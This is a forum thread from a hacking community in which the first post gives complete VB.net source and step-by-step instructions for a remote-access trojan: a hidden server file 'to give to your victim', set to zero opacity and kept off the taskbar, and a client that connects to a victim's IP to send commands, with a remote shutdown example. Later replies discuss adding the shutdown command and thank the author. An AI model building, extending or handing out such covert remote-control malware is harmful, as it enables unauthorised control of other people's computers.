Skip to content
MPGHThe Dark Arts
/
RegisterLog in
Forum
Community
What's NewLatest posts across the boardTrendingHottest threads right nowSubscribedThreads you follow
Discussion
GeneralIntroductionsEntertainmentDebate FortFlaming & Rage
Board
News & AnnouncementsMPGH TimesSuggestions & HelpGiveaways
More Sections
Art & Graphic DesignProgrammingHackingCryptocurrency
Hacks & Cheats
Games
ValorantCS2 / CS:GOCall of Duty / WarzoneFortniteApex LegendsEscape From Tarkov
+14 moreLeague of LegendsGTA VMinecraftRustROTMGBattlefieldTroveBattleOnCombat ArmsCrossFireBlackshotRuneScapeDayZDead by Daylight
Resources
Game Hacking TutorialsReverse EngineeringGeneral Game HackingAnti-CheatConsole Game Hacking
Tools
Game Hacking ToolsTrainers & CheatsHack/Release NewsNew
Submit a release →Share your cheat, tool, or config with the community.
AINEW
AI Tools
General & DiscussionPrompt EngineeringLLM JailbreaksHotAI Agents & AutomationLocal / Open Models
AI × Gaming
AI Aimbots & VisionML Anti-CheatGame Bots & Automation
Create
AI Coding / Vibe CodingAI Art & MediaAI Voice & TTS
The AI frontier →Where game hacking meets modern machine learning. Jump in.
Marketplace
Buy & Sell
SellingBuyingTradingUser Services
Trust & Safety
Middleman LoungeMarketplace TalkVouch Copy Profiles
Money
Cryptocurrency TalkCurrency ExchangeWork & Job Offers
Start selling →List accounts, services, and goods. Use the middleman to trade safe.
MPGH The Dark Arts

A community for offensive security research, reverse engineering, and AI.

Community

ForumMarketplaceSearch

Account

RegisterLog in

Legal

Privacy PolicyForum RulesHelp & FAQ
© 2026 MPGH · All rights reserved.Built by the community, for the community. For educational purposes onlyContent is shared for security research and education — we don't condone illegal use. You're responsible for complying with applicable laws. Use at your own risk.
Home › Forum › Hacking › General Hacking › [Source Code]RAT Client/Server

[Source Code]RAT Client/Server

Posts 1–9 of 9 · Page 1 of 1
Bombsaway707
Bombsaway707
[Source Code]RAT Client/Server
Server
This is the file you will give to your victim.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Step 1: If not already installed then install VB.net(2008 or 2010 both work)
Step 2: Create A Project Called "RAT Server"
Step 3: In form settings change the following: Set the foll form opacity at 0% to make it invisible to your victim. Show in task bar = false
Step 4: Double Click the form, then delete all coding you see and insert the following:
Code:
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Public Class Form1
    Dim port As Integer = 6961
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Private Sub listen()
        Try
            tcpc.Start()
            sock = tcpc.AcceptTcpClient()
        Catch ex As Exception
        End Try
    End Sub
    Private Sub check()
        If sock.Connected = True Then
            sock.SendTimeout = 5000
            Try
                Dim nstream As NetworkStream = sock.GetStream
                Dim bit(sock.ReceiveBufferSize) As Byte
                nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
                Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
                Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    MessageBox.Show(stri)
                End If
            Catch ex As Exception
                check()
            End Try
        End If
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        While sock.Connected = False
            Try
                listen()
            Catch ex As Exception
            End Try
        End While

        While True
            check()
        End While
    End Sub
End Class
Now the messagebox.show("stri") shows whatever info you send to them, Specifically "stri" is the data that you send to them. You can modify this for "malicious purposes" such as the following code:
Code:
If stri = "Shutdown" then
shell("shutdown -s")
end if
That says if you send "Shutdown" to them their computer will turn off. You need to have some VB experience to use this.

Client
This is the file you will use to send commands to your victims.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Step 1: If not already installed then install VB.net(2008 or 2010 both work)
Step 2: Create a project called "RAT Client"
Step 3: Make the form look like this:

1 label, 2 textboxes, 2 buttons(make sure your buttons/textboxes names correspond to the ones in the pic)
Step 4: Double Click the form, then delete all coding you see and insert the following:
Code:
Imports System.Net
Imports System.Net.Sockets
Public Class Form1
   Imports System.Net
Imports System.Net.Sockets
Public Class Form1
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6961
    Private Sub connect()
        ip = IPAddress.Parse(TextBox1.Text)
        port = 6961
        Try
            sock.Connect(ip, port)

        Catch ex As Exception
            MsgBox("Can not connect to designated ip at this time")
        End Try
    End Sub
    Private Sub dat(ByVal dat As String)
        Dim nstream As NetworkStream = sock.GetStream()
        Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
        nstream.Write(bit, 0, bit.Length)
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Call connect()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        dat("0*" + TextBox2.Text)
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub
End Class
In textbox1 type in the Victim's IP, if you do not have means of getting your Victims IP i will be posting a way with VB.net later, then hit connect. If no error shows up that means your connected. Then type your commands in textbox2 and hit send to send the command to your victim.

If you have any questions PM me, enjoy!
#1 · edited 15y ago · 15y ago
TO
Tony Stark`
im attempting to make right now
#2 · 15y ago
pered
pered
Look good!
But correct me if I'm wrong, this will only let me Connect to the server, right? and if I write
Code:
If stri = "Shutdown" then
shell("shutdown -s")
end if
after

Code:
                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    MessageBox.Show(stri)
so it looks like

Code:
                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    MessageBox.Show(stri)
                    If stri = "Shutdown" Then
                        Shell("shutdown -s")
                    End If
                End If
I can shut down the servers computer?

This also means I will have to find (or make, I could just aswell learn Vb.net since I wanna do some research on this anyway) code for doing other stuff?

This is what I've understood from your post, I just want to confirm that it is what you actually meant.

Thanks for the source!!
#3 · 15y ago
Bombsaway707
Bombsaway707
Quote Originally Posted by pered View Post
Look good!
But correct me if I'm wrong, this will only let me Connect to the server, right? and if I write
Code:
If stri = "Shutdown" then
shell("shutdown -s")
end if
after

Code:
                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    MessageBox.Show(stri)
so it looks like

Code:
                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    MessageBox.Show(stri)
                    If stri = "Shutdown" Then
                        Shell("shutdown -s")
                    End If
                End If
I can shut down the servers computer?

This also means I will have to find (or make, I could just aswell learn Vb.net since I wanna do some research on this anyway) code for doing other stuff?

This is what I've understood from your post, I just want to confirm that it is what you actually meant.

Thanks for the source!!
The messagebox.show(stri) is not needed, that (if included) would just pop up with a messagebox saying what you sent. And yes, to insert more malicious commands you would have to learn some VB.net
#4 · 15y ago
GTRevolution
GTRevolution
thanks man this is good! i wont use it but its good!
#5 · 15y ago
HA
hackzerz
sweet
can u release this plz :P
(as in upload the .vb)
#6 · 15y ago
LY
Lyoto Machida



Code:
Dim MyName As MyMPGHName
MsgBox(MyName)
This is awesome!



#7 · 15y ago
HA
hackzerz
guys i have a problem :/ idk what it is tho lol
the client wont work
#8 · 15y ago
ғᴜᴋᴏᴊʀ
ғᴜᴋᴏᴊʀ
Too bad this isn't in C++. I would go all out with the Fuck_Computer Class <3 So funnnny
#9 · 15y ago
Posts 1–9 of 9 · Page 1 of 1

Post a Reply

Tags for this Thread

None